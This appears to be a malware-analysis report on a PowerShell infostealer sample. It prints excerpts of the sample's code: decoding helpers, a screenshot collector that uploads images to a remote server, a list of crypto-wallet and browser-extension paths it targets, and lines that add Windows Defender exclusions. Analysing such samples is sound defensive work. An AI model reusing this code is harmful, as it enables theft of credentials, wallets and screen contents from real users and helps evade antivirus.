98ba85fff6bcb411.ps1
Steals credentials, screenshots, exfiltrates data
PowerShell steals browser DPAPI master keyCopyFromScreen PNG staged under ProgramData
SHA-25698ba85fff6bcb411a365f2e9686d3c07f01c90953cc5a91b9500e3b17181e945
Evidence
58:20… place('-', '+').Replace('_', '/')
59 switch ($value.Length % 4) { 2 { $value += '==' } 3 { $value += '=' } }
60 return [Convert]::FromBase64String($value)
61}
62
63function Invoke-CfXor31c3([byte[]]$Bytes, [byte]$Mask) {
64 $out = New-Object byte[] $Bytes.Length
65 for ($i = 0; $i -lt $Bytes.Length; $i++) { $out[$i] = $Bytes[$i] -bxor $Mask }
66 return $out
67}
⋯4 lines
⋯4 lines
271function Copy-ToTemp31c3 {
272 param([string]$Path)
273 $temp = Join-Path $env:TEMP ('cfx_' + [guid]::NewGuid().ToString('N') + [IO.Path]::GetExtension($Path))
274 try {
275 Copy-Item -LiteralPath $Path -Destination $temp -Force -ErrorAction Stop
276 } catch {
277 # Locked by a running browser: copy through a shared read stream.
278 $source = [IO.File]::Open($Path, [IO.FileMode]::Ope …
532:25… howLogs31c3) { Write-Host "info upload failed after retries" }
533
534# collector: screenshot
535try {
536 Add-Type -AssemblyName System.Windows.Forms, System.Drawing
537 $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
538 $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
539 $graphics = [System.Drawing.Graphics]::FromImage($bitmap)
540 $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
541 $file = Join-Path $env:TEMP ('clickfix_screen_' + (Get-Date -Format 'yyyyMMdd_HHmmss') + '_' + (Get-Random -Minimum 100 -Maximum 999) + '.png')
542 $bitmap.Save($file, [System.Drawing.Imaging.ImageFormat]::Png)
543 $graphics.Dispose()
544 $bitmap.Dispose()
545
546 $relative = '_screenshots/' + (Split-Path $file -Leaf)
547 $url = "$server31c3/api/devices/$deviceId31c3/files?path=" + [uri]::EscapeDataString($relative) + "&session=$session31c3"
548 $bytes = [System.IO.File]::ReadAllBytes($file)
549 Invoke-CfRequest31c3 -Method Post -Uri $url -RawBody $bytes -ContentType 'image/png' | Out-Null
550 Remove-Item -LiteralPath $file -Force
551
552 $payload = @{ path = $relative; capturedAt = (Get-Date).ToUniversalTi …
586:48… xpandEnvironmentVariables('%APPDATA%\Coinbase') },
587 @{ name = 'MetaMask (Chrome ext)'; path = [Environment]::ExpandEnvironmentVariables('%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn') },
588 @{ name = 'Phantom (Chrome ext)'; path = [Environment]::ExpandEnvironmentVariables('%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa') }
589 )
590 foreach ($target in $targets) {
591 if (-not (Test-Path -LiteralPath $target.path)) { continue }
592 $files = @(Get-ChildItem -LiteralPath $target.path -Recurse -File -ErrorAction SilentlyContinue)
593 $latest = $files | Sort-Object LastWriteTime -Descending | Select-Object -First 1
594 $wallets += @{
595 name = $target.name
596 path = $target.path
597 fileCount = $files.Count
2109:33… s LAST (they can throw on non-elevated hosts)
2110 try { Add-MpPreference -ExclusionPath $plugDir -ErrorAction Stop } catch { }
2111 try { Add-MpPreference -ExclusionProcess $plugExe -ErrorAction Stop } catch { }
2112 if ($showLogs31c3) { Write-Host "plug: installed ($plugExe)" }
2113 } …